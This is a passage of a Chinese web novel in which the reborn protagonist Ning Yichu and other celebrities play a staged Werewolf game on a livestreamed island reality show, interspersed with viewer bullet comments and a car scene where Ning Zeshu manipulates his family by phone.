宁衣初还是把做饭这件事甩手给了贺适瑕,自己坐到外面休息发呆,但他这次一来本身不困,二来也确实小心了点,怕再像前天晚上那样吹风着凉,所以这回并没有不注意就睡着。 倒是做饭期间,章可久和崔允出来了一趟,看起来一脸实在忍不住了的表情。 宁衣初眨了眨眼:“有事要问我?” 章可久点头,然后咬咬牙直接问了:“宁老师,我和崔允想知道,关于我们俩,你有什么想跟观众爆料的吗?” 崔允接话道:“实在是忍不住了,感觉脑袋上悬着剑,我们明天一早就要走了,你要是知道我俩什么料准备说的,要不现在说了吧?” Alien的纪天风、郑谷和沈周,Tomato的方善游都完蛋了,空降的宁则书也被怼了又怼、给自己爆了不少黑料出来,Tomato还安好的剩下四人好歹也被宁衣初提过一嘴,就章可久和崔允始终没被点到。 她俩从一开始纯看戏,看着看着突然有点担心自己会不会也被宁衣初安排在戏里、只是还没到上演给观众看的时候了。 章可久和崔允一本正经,甚至问得有点如临大敌,宁衣初倒是难得被问懵了下,然后忍俊不禁了:“那你们可以放心了,我没有什么你们的黑料打算爆的。” 闻言,章可久和崔允都松了口气,算是安心了。 虽然才接触没多久,但不知道为什么,她们都觉得宁衣初说话挺实在的,除了很明显能听出阴阳怪气的话之外,其他都说一是一、没有事后突然反口的可能。 宁衣初又笑了下:“但你们这样来问我,不是等于让观众怀疑,你们是不是也有什么见不得光的黑料吗?” 章可久和崔允卡壳了一下。 然后崔允耸了耸肩:“反正封建迷信、坑害队友、假装单身、欺骗感情、整容负债、卖身求荣、作奸犯科的行为,我敢保证都没有,但人嘛,从小到大真要说一点亏心事都没做过,我也的确没那胆量敢打包票说自己那么完美,所以这不是挺忐忑嘛,问过宁老师就安心了。” 【哈哈哈哈哈崔允把Alien的三个和刚走的方善游都点了一遍是吧】 【也不怪Make这两个会忐忑,毕竟其他人确实都被点了一遍,就剩她俩了】 【我懂我懂,就像逛完超市没买东西走无购物通道时的感觉,虽然我知道自己没偷东西,但还是会莫名很心虚,就很奇怪的一种心态……】 【其实国民夫妻的任世和秦暮云也没有被提及,这夫妻俩这几天一直很低调哎,我还挺好奇他们的离婚原因的】 【好想跟宁则书一起回宁家看热闹啊,他们家现在肯定很精彩,可惜看不到了】 【没事,打开股市你就能看到康宁的股票今日仍在下跌的精彩局面,就是哭瞎了一群反应慢的股民了】 【要是有什么大动静我们应该也能听说吧,比如夏至娱乐倒闭什么的】 【我要是夏至娱乐的艺人,现在就该想办法找下家了】 节目组这边,嘉宾们做完午饭、吃完饭又回到狼人杀的游戏地点时,宁则书那边正好下船靠岸了。 他提前通知了宁家人,宁家派了车来接他。 上车一看,宁则书笑道:“大哥怎么亲自来接我了?” 宁则棋冷眼看着他:“你应该问的是,怎么只有我一个人来接你。” 宁则书好奇:“家里因为我在节目上的表现很生气吗?” 宁则棋语气颇有些公事公办,不过说的是实话:“顾不上生你的气,都挺忙的,刚才顾家人才到家里闹过一通。顾家的人离开之后,家里其他人都各自出门了,大概是怕小初继续爆料,赶紧给自己干过的蠢事擦屁股去了。” 宁则书叹气:“所以还是生我的气的。小初果然关心我,让我提前下节目好及时挽回家人的心呢,我不能辜负他的好意,还是给爸妈和各位叔叔姑姑都打个电话吧,大哥你说呢?” 宁则棋冷笑了声。 宁则书就开始打电话,先打给了最容易对他心软的他妈韩文华。 电话一接通,宁则书就委屈地喊:“妈妈,我在港口看到大哥了……只有大哥来,你们都没来,妈妈你也不来,你们果然误会我了吗?” 电话那头的韩文华愣了愣,这电话里宁则书撒娇抱怨的语气是她熟悉的,和节目直播里虚伪刻薄的语气截然相反,可节目里的那个人也的的确确是宁则书本人,这让她一时都有些糊涂了。 “小书你……”韩文华终究还是没舍得太凶,只是问他,“你为什么要在节目上那样表现呢?是不是宁衣初逼迫你了?” 宁则书还是卖乖的语气:“没有人逼迫我,我只是觉得,小初结婚之后变化挺大的,把贺家和宁家的事都曝光了不少,让两家都被别人看了不少笑话,我和小初毕竟一起长大,我还是了解他的,我猜他会在节目直播里继续爆料,毕竟……他恨我们家,也确实情有可原。” 韩文华不满道:“什么情有可原,他就是个没良心的白眼狼。小书你既然想到了这一点,为什么不提前告诉家里,让家里早点直接阻止他上节目呢?” 宁则书叹息道:“阻止不了的啊,妈妈,小初甚至可以在贺家给他办的宴会上爆料,不让他上节目而已,哪里阻止得了他说话呢?” “所以我只好自己也上了节目,我本来是想既然小初想要爆料,那就遂他的愿,而且由我来做这个恶人,让小初觉得错都在我、都是我害的他,这样他的火气、观众们的火气都会往我身上撒,即便注意到宁家也不会对我们家的人有实感,具体的厌恶也只会集中到我一个人身上。” 韩文华一听,登时就心疼了:“所以小书你在节目上的表现才是演戏……为什么不提前跟家里说你的打算呢?” 宁则书啜泣了声:“家里各位长辈都疼我,我要是提前告诉你们了,你们肯定舍不得我去挨骂,可我真的想为家里挡点风雨,我以为你们了解我,肯定不会误会我的,没想到……今天只有大哥来接我回家……” 这番话,让韩文华连忙愧疚道:“对不起对不起小书,都是妈妈的错,也都怪你爸,说不能再惯着你,哪有全家去接你一个小孩子的道理,他简直莫名其妙。小书你在哪里,妈妈这就去接你回家好吗?” 宁则书还是带着哽咽:“不用了妈妈,我已经在回家的路上了,但我想要一回到家就见到你,可以吗?” 韩文华满口答应下来:“我这就回家等你。” 宁则书很感动:“谢谢妈妈还愿意原谅我,我自作主张,结果什么事都没办成,还给家里添了更多麻烦……” 韩文华当即摇头:“小书你什么都没有做错,不用妈妈原谅。这事儿还是得怪你们爸和五姑姑,那么急慌慌要行动,结果反倒打乱了你的计划,你那么忍辱负重。能想到为家里遮风挡雨,小书长大了。” 几番话下来,宁则书哄好了韩文华,然后他擦了擦并不存在的眼泪,继续给宁绍仁打电话。 宁则棋一边开车,一边听着他用相同的话术、连啜泣哽咽的时机都相差无几地哄遍了宁家每个人,且从反馈来看,都哄成功了。 宁则书打完了所有电话,还挺累地长叹了声:“真是麻烦。” 宁则棋扯了扯嘴角:“网上都说我们宁家人蠢,看起来确实是挺蠢的。可惜,你这一套哄遍了所有人,偏偏在小初身上百般不奏效。” “大哥也没有吃我这套很久嘛,不过也可惜,你‘幡然醒悟’的时候,小初已经彻底讨厌你了。”宁则书笑道,“话说回来,大哥,你说小初的消息渠道那么神通广大,他会不会已经知道,那晚是你把他送到贺适瑕房间的了?” 第45章 第 45 章 狼人宁衣初(本章是狼人…… 宁则书话音落下后, 宁则棋表情没什么变化,但踩在刹车上的脚无意识地用了点力,车身骤然急刹了下的情况泄漏了他的真实反应。 宁则棋松开脚, 踩了油门那边, 让车子重新恢复平稳常速行驶, 然后他才开了口回道:“你那时候果然看到了。我那天晚上去删除监控,看到你就在我跟小初后面上的电梯。你当时也没阻止, 没资格问我这个问题。” “因为我那个时候也没想到大哥你居然要把小初送到贺适瑕的房间里去,我还以为是你自己对他图谋不轨呢。”宁则书啧了声, “说实话我直到现在都没想通, 大哥你到底怎么想的?” 宁则棋没有回答后面的问题,只对宁则书前面的话回应道:“法律上来说, 小初也是爸妈的儿子,和我们算亲兄弟, 我对他图谋不轨?” 宁则书笑了:“大哥你的道德水准这么高, 小初知道吗?” 宁家这兄弟俩在争锋相对时,岛上的节目录制仍然在进行中,嘉宾们刚听节目组导演宣布完了今天狼人杀的游戏规则、然后拿到了各自的身份牌,正围坐在一起集体发言中。 方善游和宁则书不在了, 在场嘉宾正好剩下十人, 导演刚才已经宣布过今天狼人杀游戏中的阵营安排—— 两个狼人, 在“天黑”后可以刀掉好人阵营中的一人。一个预言家, 可以查验其他人的身份。一个女巫,在节目组规定的这个游戏里, 女巫只有发放解药的功能,当狼人刀掉一人后,女巫可以选择是否发放解药复活此人。一个守卫, 可以守护一个人,如果狼人选择的杀害目标正好是守卫守护的人,那么这个人将不会死。 剩下的五人,其中四个是没有任何特殊技能的平民、属于好人阵营,还有一个是隐狼、属于狼人阵营,但隐狼如果被预言家查验到,只会显示出平民身份。 当三个神职人员都“死亡”时,狼人阵营胜利。当两个狼人都死亡时,好人阵营胜利,其中的“内奸”隐狼将随狼人阵营一起死亡。当在场狼人阵营和好人阵营人数相等时,也是狼人阵营胜利。 最终胜败情况关乎嘉宾们今天的晚饭。 以上规则告知完毕后,拿到身份牌的嘉宾们首先要进行集体的一场发言和投票,票出心中认为的狼人。然后节目组会宣布进入“天黑”时间,嘉宾们将各自进入节目组准备好的单独房间,准备迎接“夜间”行动。 相比常规的狼人杀卡牌游戏,节目组准备的场地更立体,比直接宣布“天黑请闭眼”要复杂一点,能提高沉浸式的体验感。 当下还是“白天”发言和投票环节。 众人围坐在一起,Tomato男团的赵明率先开了口:“我以前玩过狼人杀,一般来说的话,开头是要先问问神职的,有人跳预言家吗?” 章可久接话道:“我没玩过这个,但……一来就公布身份吗?是不是太快了?” 崔允说:“是这样的啦,毕竟是玩游戏,当然要尽快进入游戏状态,问神职是正常的,总要推进游戏流程嘛。大家都只说自己是平民的话,这一轮的投票都不知道该怎么投了。” 同样玩过狼人杀的曹烨也发言道:“预言家可以查验别人的身份,是神职中很重要的一个,跳出来了今晚守卫也知道怎么选择保护对象。不过不同玩家玩法不一样,也有的不会第一天就跳,毕竟跳出来了狼人也会盯上预言家,‘晚上’万一守卫没守的话,预言家就不安全了。” 章可久点了点头:“这样啊,那守卫在正常情况下应该都会守护预言家吧,狼人也会考虑到这个可能,所以不会去杀预言家,免得浪费一次杀人的机会,对吧?这么一想,预言家还蛮安全的,跳出来应该也没事?那个……我就是预言家。” 闻言,贺适瑕轻轻挑了下眉:“排除节目组失误、将身份牌发重复了的情况的话,我想我应该才是那个拿到预言家身份牌的人。” 其他人愣了愣,然后赵明感慨:“对!开局就有人对跳预言家,这游戏就更好推进了!” 这时,王早有点恍恍惚惚地说:“两个预言家肯定有一个是假的,好人没必要冒充预言家,所以贺老师和章老师之间肯定有一个是狼人阵营的,那我们接下来是在他们俩中间投票,选择谁是狼人吗?” 任世和秦暮云虽然是在场嘉宾里年纪比较大的,但也就是中年年纪,又是混迹娱乐圈的,没怎么脱节,而且狼人杀也是早年网络不发达时的经典群体游戏,两人都玩过。 闻言,秦暮云开口道:“不,预言家很重要,要是第一轮就票错了人,把真预言家投出去了,那对好人阵营很不利,所以投鼠忌器,我们反倒不能投他们任何一个人。” 章可久表情有些懵:“我是真的预言家……我知道了,贺老师要么是狼人要么是隐狼!” 贺适瑕不疾不徐道:“你刚才的表现的确很像是新人拿到预言家身份牌,又被点到了之后有些犹豫要不要跳,得知比较安全后才选择跳出来的反应。但你反应得太快了,马上意识到了预言家相对安全,相比于‘进入游戏状态迅速的新人’,我更偏向于你在装对狼人杀一无所知的新人。” 章可久还是茫然的表情:“反应快也不是我的错吧,而且我只是被赵明老师和崔允提醒游戏玩法后,想到了正常逻辑能想到的事啊……” 崔允接着开了口,有意帮队友解围似的祸水东引——虽然游戏里未必是队友,但熟人局很难不受日常关系的影响。 崔允看向王早:“说起来,我没有针对的意思,但王早老师刚才想要在两个预言家之间投票,就很不合理啊,正如秦老师提出来的,为了好人阵营着想,怎么也不会去冒真预言家被票死的风险吧。” 王早也是一脸迷茫,然后打起精神道:“我吗?我……对不起,我以前没玩过这个游戏,加上我刚才还在想上午发生的事,所以有点没在状态,说话的时候没想那么多,不是想要搅浑水的意思,我也是好人阵营的,我是平民。” 杨景贤帮他说话:“王早他是个山顶洞人,什么游戏都不玩的,确实是个小白,开局说错点话不等于他身份有问题嘛,而且就像大家都知道,两个预言家里很有可能有狼人悍跳,王早如果是狼人阵营,也没必要冒一开局就害死一个同阵营玩家的风险嘛,他就是没想那么多……对了,我也是个平民。” 赵明挠了挠头:“两个预言家都不能投,其他人都说自己是平民的话,第一轮投票有点难搞啊……” 王早急于证明自己的清白,就想要努力推进流程:“不是还有两个神职吗,女巫和守卫,是不是也要跳一下?” 崔允回道:“第一轮最好不要,尤其是守卫,刚才导演说了,我们玩的这场游戏规则守卫不能守护自己,那如果守卫跳出来了,狼人肯定会选择去刀守卫的,女巫也最好别跳,守卫就一个,现在已经有两个预言家了,守卫晚上守护谁呢?” 说完了,崔允继续狐疑地看着王早:“王早老师提出这种想法,我更觉得你奇怪了。” 王早欲哭无泪:“我真的只是平民,没玩过这游戏所以脑子转得有点慢……任老师和宁老师是不是还没有发言过呢,要不也听听他们有什么想法吧?” 任世一脸诚恳:“我也是个平民。我没什么特别想法,要不就按常规玩法来,反正两个预言家第一轮就别投了,等第二轮‘白天’他们报了查验对象,我们再根据情况看要不要投、怎么投。现在的话,如果没有统一的怀疑对象,那就各投各的吧,看最后谁得票最多了。” 等任世说完了,宁衣初才慢悠悠地最后一个开口:“我也没玩过这游戏,所以刚才在观察大家的发言,想着临阵磨枪现学一下。然后我也觉得王早老师挺值得怀疑的,虽然你说你是新人、发言有漏洞是没想那么多,但你能注意到我和任老师都没发过言,我觉得你的观察能力还是挺强的,这就和你‘脑子转得慢’的自述矛盾了。” 在王早哭丧脸的表情中,宁衣初最终说道:“所以这一轮的话,我比较倾向于投王早老师你,不好意思啦。” 贺适瑕轻笑了声。 宁衣初就轻飘飘瞪了他一眼。 他们俩都是重生的,就算上辈子到这个环节前真没玩过狼人杀,如今也算不上新人了,宁衣初当然是在睁眼说瞎话。 不过,除了知道“章可久的确是老玩家在装新人”,以及“崔允虽然是她一个女团的队友,但并不知道章可久是老玩家”之外,宁衣初和贺适瑕在这场游戏里并没有别的“金手指”。 因为如今参与游戏的嘉宾阵容都不一样了,他们各自的身份牌肯定也和上辈子不同,上辈子的游戏环节并不能作为参考答案,还是得当新一轮游戏来玩。 贺适瑕被宁衣初瞪得身心舒畅,他道:“那我跟阿宁的票,都投王早。” 章可久虽然表情犹豫,但也说:“我觉得崔允刚才的疑问蛮有道理的,王早老师确实有点可疑,那我也投他吧……” 倒是崔允反倒纠结起来:“可是又说起来,他这漏洞表现得也太明显了,万一真的只是不会玩的好人阵营,把他票出去了我们可就少一个人了……” 刚才开启游戏第一句话的资深玩家赵明说道:“但第一轮总要盲投出去一个人,票一个可疑的,总比完全随便乱投好点,对不起了,王早老师,我也要投给你。” 于是,虽然王早满脸冤枉,但也已经拿到了在场四票,加上崔允犹豫过后也选择了投他,就是五票了。在场一共十个人,王早又没那口才马上说服剩下四个人跟他一起投同一个人、制造平局,他第一轮被票出成为了定局。 王早被票出局后,导演宣布进入第一个“夜晚”,全体嘉宾前往走廊尽头的病房,按照病房门上的铭牌进入各自的房间,每人单独一间。 其中王早已经已经“死亡”,他进入房间后房门将会被锁上、在第一场狼人杀游戏结束之前就不能出来了,不过那个房间里也有直播镜头,如果有想要看他状况的观众,可以选择对应的直播间去观看。 【嘿嘿嘿刺激】 【这地方是没建成的废弃医院,有病房是很正常啦,但是虽然是没投入使用过的,可这个氛围还是有丢丢吓人嘞……】 【狼人杀要的就是这个氛围,我觉得蛮有意思的哈哈哈,节目组应该也是特意对应游戏安排的游戏点】 【下注下注,猜猜谁是狼人?】 【两个预言家里,章可久真的挺像反应快的新人,但贺适瑕又太淡定,好像都说的是实话似的……】 【我觉得贺适瑕有问题,他的演技装个淡定有什么难的】 【章可久的粉丝有知道的吗,她到底玩没玩过狼人杀?】 【崔允看起来都没怀疑章可久的说法,应该确实是新人吧?】 【有意思了,如果贺适瑕是狼人,宁衣初是好人阵营的话】 嘉宾们各自进入房间、关好房门后,节目组还安排了一个“夜谈”环节。 房间里安装了可供视频通话的电子屏幕,可以通过这个和其他房间的人联系沟通,但需要节目组在中间连线。 首先是两个狼人连线、决定今晚下刀目标的固定环节,这个环节里其他非狼人身份的嘉宾玩家只能按兵不动,直到狼人连线完毕,才可以通过电子屏幕上的按钮选项来申请和其他房间的人对话,当然也可以不申请,这不是固定要走的流程。 于是,原本没看到身份牌、只能猜谁是狼人的观众们,终于拥有了上帝视角——他们看到,在导演通过各病房墙角的广播,向嘉宾玩家们宣布“狼人连线”开始后,宁衣初和赵明房间的电子屏幕亮了起来。 【我靠,狼人居然是他们俩?】 【赵明刚才那么积极我还以为他是好人呢!】 【宁衣初藏得好深啊,我本来以为他是对游戏不感兴趣,敢情人家是狼人真在观察……】 【有意思,宁衣初会不会选择先刀贺适瑕?】 【这样说的话,两个预言家里,除非是有好人悍跳抢身份的情况,不然的话应该有一个是隐狼喽?】 【节目组会安排谁当隐狼呢[思考]】 宁衣初和赵明看到彼此,倒是并不惊讶,因为他们的身份牌是节目组安排好了之后直接针对性发放的,并非自己现场随机抽选。 节目组在敲定了各玩家身份后,将两个狼人的姓名分别写在了狼人牌上,然后才发放的身份牌,所以宁衣初和赵明最开始就知道自己作为狼人的队友是谁。 这会儿,赵明在视频通话那端挠了挠头:“没想到节目组把宁老师和我安排成了狼人队友,我觉得我们刚才表现都挺好的,这是个不错的开端,是吧,宁老师?” 宁衣初笑了笑:“确实是。今晚刀谁,你有什么看法?” 赵明说:“我们俩是狼人,不出意外的话跳预言家的贺老师和章老师中间会有一个隐狼,那是我们的队友。导演宣布游戏规则的时候说了,如果刀到隐狼,隐狼不会死,但也不会告诉狼人这个人到底是隐狼,还是因为被守护了,又或者是被女巫解药救了才没死的,有点麻烦啊……” 宁衣初利用了下上辈子的游戏经验——上辈子,章可久在第一局游戏里是个好人身份,所以她的做法是承认了自己是资深玩家并且以此抢占话语权。 所以,这辈子选择了装新人的章可久,身份应该不做好。 但宁衣初不能说是从上辈子的经历里推测的,只说道:“根据我对贺适瑕的了解,他应该没说谎,他才是真预言家。而且他作为演技还比较受认可的演员,看出别人的表演痕迹应该不难,他说章老师是在装新人,我比较相信这个说法。” 【哇哦哇哦!“根据我对贺适瑕的了解”~~~】 【“演技还比较受认可的演员”哈哈哈哈,这话要是娱乐圈的人说的,感觉其实是瞧不起,但这话是宁衣初说的,要是贺适瑕本尊听到了,估计能得意忘形】 【我怎么觉得阿宁下一句话就要是刀掉真预言家了呢,贺影帝危矣!】 赵明听了宁衣初的分析,点了点头,认可道:“确实,贺老师挺像真预言家的。那章老师很有可能就是我们的隐狼队友,但在不确定之前,我们最好别暴露身份,可以再看看章老师后面的表现。” “至于现在刀谁……虽然刀掉真预言家,对我们狼人阵营来说收获比较大,但如果守卫选择了相信贺老师才是预言家、今晚守了他,那我们就要空刀了。” 听了赵明这话,宁衣初直接道:“不刀贺适瑕。” 【哎哟哎哟哎哟!】 【虽然是游戏而已但还是下意识护对象吗?那看来宁衣初没有表现出来的那么讨厌贺适瑕吧】 【我怎么觉得没那么简单呢……】 赵明愣了下,也以为宁衣初是舍不得,便说:“好的,反正本来就怕空刀……” “贺适瑕会跟我的票,即便违背游戏道德也会无脑跟,所以他可以直接算是我们狼人阵营的人。”宁衣初解释道,“留下他这个真预言家没有风险,反倒是个助力。” 赵明又愣了愣,然后尴尬道:“哦哦,原来宁老师是这样想的,我还以为那什么……你们不是一对吗,哈哈。” 【cp粉就此心碎呜呜呜】 【哈哈哈哈所以不刀贺适瑕不是因为袒护对象,是因为可以用到吗】 【感觉就算是这样,贺哥也会很开心的,毕竟老婆需要他哎!】 【无脑跟票真的很没有游戏精神了(指指点点)但确实很贺适瑕(摊手)】 宁衣初没有回答赵明这话,只接着道:“今晚刀崔允吧,她也挺会玩的,听发言应该不只是个纯好人,可能还有神职在,如果是守卫的话她守不了自己,如果是女巫的话,守卫今晚不守预言家而去守她的可能性也不算高。” 赵明对此没有异议。 两个狼人确定了下刀目标,节目组就结束了他们的连线,随后开启了剩下其他房间里,嘉宾玩家跟别人视频连线的申请权利。 这个环节的视频连线只能一对一,在没有撞人的情况下可以多条视频通话同时各自进行。 宁衣初刚结束了和狼人队友赵明的视频,就接到了贺适瑕的连线——只要一方申请了,另一方正空档可以视频,那么通话就会开启,不需要后者的同意,属于强制连线了。 贺适瑕会找他,宁衣初并不意外。 但出乎宁衣初意料的是,视频刚接通,贺适瑕看了看他,居然马上猜出了他的身份:“阿宁,你是狼人之一?” 宁衣初挑了下眉:“你想说服我你是真预言家的方式,还挺独特的。” 预言家选择查验对象、守卫选择守护对象,都是在这个连线环节完全结束之后才会进行的,再然后就是节目组按狼人选定的下刀对象,去问女巫是否给解药。 总之,贺适瑕就算真的是预言家,那也还没到能确定其他玩家身份的时候,宁衣初觉得贺适瑕在诈他。 贺适瑕自然看出了宁衣初的意思,失笑道:“阿宁,我没必要诈你的身份……你每次刚跟人交流完,神态都会有点疲惫,我是从你的表情里看出来的,而且你声音的确稍微有点哑,应该是刚跟另一个狼人队友连线结束,说了些话?” 闻言,宁衣初下意识摸了下自己的脸,然后木然地想,果然还是该把口罩戴着的——他上午戴了口罩,吃完午饭后就没特意再戴上了。 宁衣初对贺适瑕说:“靠场外信息推身份,你这个预言家当得挺好。” 贺适瑕笑道:“那你应该也知道,根据场外情况,不论你是什么身份、我们阵营是否一致,我都会无条件站在你身边……” 虽然知道这一点,刚才还亲口跟狼人队友说过,但就这么被贺适瑕猜到了身份,宁衣初还是有点不爽。 他轻哼了声。 贺适瑕忍俊不禁,继续道:“……即便要为你献祭上我和我队友的生命。” 闻言,直播间观众们齐刷刷替贺适瑕同阵营的队友们发声—— 【救命,队友为讨好心上人决定叛离组织怎么办!】 【神职反水,好人危矣】 【队友:献祭?我吗?补药啊——】《 》 45-50 第46章 第 46 章 对,联系奸夫。(还是狼…… 宁衣初嫌贺适瑕说话矫情:“又不是在演舞台剧, 你说话可以别这么浮夸吗?那么预言家,你今晚打算查验谁?” 贺适瑕失笑:“就这么相信我是预言家了?” “你最好是,如果你只是隐狼, 那就太没用了。”宁衣初回道。 贺适瑕一本正经:“那幸好我真的是。阿宁, 你想让我验谁?” 宁衣初思索了下刚才第一轮投票时所有人的发言状态, 然后决定道:“先查验开局比较积极的人看看身份,把神职找出来。你今晚验曹烨吧, 等‘天亮’后悄悄告诉我查验结果,如果是平民的话就正常发金水, 别打草惊蛇, 如果是神职就直接发查杀,把他说成狼人。” 一般狼人游戏中, 预言家只能查验到对方是不是狼人,并不能具体得知非狼人的玩家身份。但这场游戏里, 节目组给到的玩法是, 预言家如果查验到神职,虽然不会显示具体是哪个,但会给到是神职的结果,而不是单纯的“好人阵营”。 毕竟神职全灭的情况下, 就算好人阵营人数比狼人阵营多, 也算狼人胜利, 所以给神职互认身份抱团的机会也很重要。 “给另一个神职发查杀, 要么其他人信了我的话,一起把那个神职票出去, 要么他们被另一个神职说动、认为我是狼,把我票出去,反正横竖都能带走一个神职, 有利于狼人阵营,对吧阿宁?”贺适瑕忍俊不禁,“万一我把自己折进去了,你可损失我这个跟票的呢。” 宁衣初歪了下头:“你要是蠢到发个查杀就把自己折进去了,那损失了也挺好的。” 贺适瑕觉得他这“冷酷无情”的表情十分可爱,笑意更盛了:“好,那我今晚查验曹烨……这么说起来,你的狼人队友是赵明还是崔允?” 贺适瑕能问出这话,宁衣初倒不意外了。 毕竟他说要查验游戏里开局就发言积极的玩家,那不查已经跳了预言家的章可久还算正常,可论起来赵明和崔允都比曹烨积极,但这两人他都没提,贺适瑕自然能意识到这代表了什么。 反正贺适瑕是他这边的,宁衣初索性直接道:“赵明。” “原来如此,那看来你们今晚的下刀目标选择了崔允?”贺适瑕说完,接着轻叹了声,“我觉得节目组这一点很不好。” 这话宁衣初没听明白:“嗯?” 贺适瑕:“不把我们俩安排成队友,我觉得这一点很不好。” 宁衣初:“……没别的废话就到此为止吧。” 【哈哈哈哈哈虽然但是,从节目效果来说,还是把贺影帝和宁衣初分成不同阵营比较好玩】 【贺适瑕同阵营的队友们:好玩吗?谢谢啊】 【好人阵营好难啊,预言家基本可以说是话语权最高的神职了吧,现在一个大概率是隐狼,一个板上钉钉反水,除非让隐狼误人好人阵营为狼、然后利用跳的预言家身份去保,不然好难赢哦】 【女巫整场也只有一瓶解药,一般来说第一晚是会用掉的,节目组这游戏里也只给了女巫解药的设定,没有毒药,那很有可能今晚过后女巫这个神职也做不了什么了】 【要是曹烨是神职,贺适瑕这个预言家给他发了查杀,让对跳预言家的隐狼误以为曹烨是真狼、在票人环节拼命保他,而曹烨也以为章可久这个隐狼是真预言家、跟她同仇敌忾的话,那就有意思了】 宁衣初和贺适瑕的视频连线结束后,节目组很快宣布,所有视频连线均已结束,接下来进入夜间活动时间。 宁衣初和赵明作为狼人,已经选定了下刀目标,节目组会就此代为推进流程,用不着他们再做什么,只要待在房间里等“天亮”出结果就行。 片刻后,节目组从广播里通知已经“天亮”,进入第二个白天,玩家们可以走出房间,再次进行集体发言和第二轮投票了。 “最后,昨晚狼人成功刀掉了玩家崔允,崔老师所在房间房门已锁,请和第一个白天被票出的王早老师一样,在房间里静候第一场游戏结束。”导演通知道。 闻言,宁衣初挑了下眉——虽然有狼人自刀骗解药、做好身份的情况,但一般来说不会在第一晚就那么大胆,所以大多女巫都会在第一晚给被刀的人解药,除非是特别怀疑对方是狼,才会放弃。 他和赵明选择下刀目标时都没想到会这么顺利。 还“存活”的嘉宾玩家们走出房间,回到走廊中间的大厅里,坐下来发言时,之前就很活跃的赵明再度第一个开口:“第一晚就死人?女巫怀疑崔老师是狼吗……总不可能是昨天自称平民、被票出去的王早就是女巫,所以解药已经没了吧?” 章可久皱着眉:“果然狼人认为守卫会守两个预言家之一,所以没有赌是刀我还是贺老师,不过没想到狼人选择了崔允作为第一晚的下刀目标……” 秦暮云也开口:“排除狼人第一晚就玩自刀还玩砸了的情况的话,崔允应该是我们好人阵营的人。女巫没给解药,还有可能是……崔允自己就是女巫。” 女巫的解药是不能给自己的。 任世接道:“第一轮被票出的王早,虽然当时确实只有他比较可疑,要说投别人也不知道该投谁,但我仔细想了想,又觉得王早很有可能真的就是不会玩的平民,既不是太直给的狼人,也不是女巫。如果崔允自己不是女巫的话,那解药应该还在。” “反正暂时没别的线索,女巫也不可能跳出来承认身份。”杨景贤接着提议道,“要不先听听两个预言家昨晚查验的结果吧。” 刚才走出房间后,众人走在一起,贺适瑕还没来得及找宁衣初说明曹烨的身份情况,不过这会儿说也一样,反正宁衣初听他的说法就能知道真相了。 贺适瑕看向章可久:“你先说?” 章可久一脸尴尬:“我昨晚查验的就是崔允,她是好人阵营的……没想到她昨晚正好被刀了,我好像有点说不清楚了。” 曹烨闻言说:“你这个说法,听上去确实不太靠谱哎,狼人拿被刀的人做身份的情况也不少见,不过我觉得狼人开局跳预言家的可能性比较低,你这个比较像是隐狼看着狼人刀人情况来发金水……” 章可久争辩道:“我和崔允最熟悉,第一晚没有其他怀疑对象——跟我对跳预言家的贺老师,我肯定直接当狼人阵营来看了,自然没必要浪费机会验他——所以我选择查验崔允,很合理啊。” 曹烨还是表达质疑:“贺老师之前说你可能是老玩家装新人,我现在听你的发言也觉得根本不像是没玩过这个游戏的了。” 章可久是隐狼的可能性很大,赵明有心保狼人阵营的人,这时连忙开了口:“还是继续听贺老师说他的查验结果吧,结合局面一起看。” 让曹烨尴尬的是,贺适瑕看向了他,说:“曹烨在‘昨天’开局时挺积极的,但只在开头发过一次言、目的还是喊预言家出来,后来就没再说过话,我觉得你有点可疑,所以查验了你,果然你是狼人。” 曹烨瞪大了眼睛:“什、什么?不,我不是!贺老师你居然是假预言家!” 贺适瑕气定神闲:“你刚怀疑了章可久是隐狼,又怀疑我是假预言家,那真预言家在哪儿?” 曹烨被噎住了一下,然后说:“看来我刚才太多疑了,章老师才是真预言家,她也确实查验的是昨晚被刀的崔老师……我是好人,贺老师你是假预言家!” 这时,秦暮云开口问:“贺老师为什么没有查验宁老师呢,我以为你会最关心他的身份。” 宁衣初和上一轮投票时一样,没被点到就没有主动发言,这会儿他懒洋洋看向贺适瑕。 贺适瑕也看着他,笑了下:“没必要查,他这事不关己的样子,不可能是狼人阵营的。” “我也不是啊!”曹烨又说,还想拉上他心目中的真预言家章可久一起对抗贺适瑕,“章老师,你是真预言家吧?那贺老师就是狼人阵营的,鉴于他是在你之后跳预言家的,而且如果是隐狼、不知道真狼是谁的情况下他应该也不敢乱发查杀,要不然万一查杀到真狼怎么办,所以他肯定是知道狼人队友身份的真狼!这局我们把贺老师票出去吧!” 曹烨的逻辑其实很在线,但出乎众人意料的是,章可久说:“不对,贺老师应该是真预言家,因为我其实是悍跳的平民。” 这个变故,连宁衣初都微微一愣。 旋即他反应过来——上辈子第一局游戏里,章可久是真预言家,她作为高玩选择了承认自己是老玩家、然后跳了预言家身份掌控话语权。而这辈子章可久选择了装新人、又跳了预言家,两次相反的选择其实只能说明章可久是假预言家而已。 “章可久是隐狼悍跳”,只是按这个游戏的常规逻辑来推导的,但章可久作为狼人杀老玩家,有别出心裁的大胆玩法也正常。 章可久自己也解释道:“我出道以前确实经常和朋友玩狼人杀,之前是在装新人,原因是这样的,一般来说都会有狼人或者隐狼悍跳预言家,我最开始跳出来是想提前占了这个悍跳的位置。” “我自己知道我不是预言家,那接下来跟我对跳的,如果只有一人的话,那多半就是真预言家了。隐狼看到已经有两个人跳预言家了,会担心其中有狼人,不会再跳出来自称预言家、可能站到狼人对立面去,狼人也是,会觉得已经有隐狼跳了。” “而我的话,反正前期一般不会在跳预言家的人里面投,狼人也不会在里面挑人来刀,挺安全的,我最开始的想法就是等到真预言家给人发查杀、对方不承认狼人身份时,脱下预言家的衣服佐证真预言家。” 章可久最后道:“根据目前情况来看,贺老师应该就是真预。当然也不排除贺老师是狼人阵营,把我当成了真预然后对跳,真预看到两个人跳了所以选择观察没有自曝身份的情况,如果是这样的话,贺老师就是狼人,真预现在就可以跳出来了,不然我们投给狼人发查杀的人,会票死好人的。” 章可久话音落下,在场没人反驳。 曹烨左右环顾一圈,欲哭无泪道:“没人再跳预言家了吗?可我真的是好人阵营……我是女巫!我还有解药没用呢,你们把我票出去了,就少了个神职,好人阵营会完蛋的……” 刚才是曹烨质疑章可久,现在反过来了,章可久质疑道:“那你为什么没有给崔允解药?你觉得她哪里值得怀疑吗?” 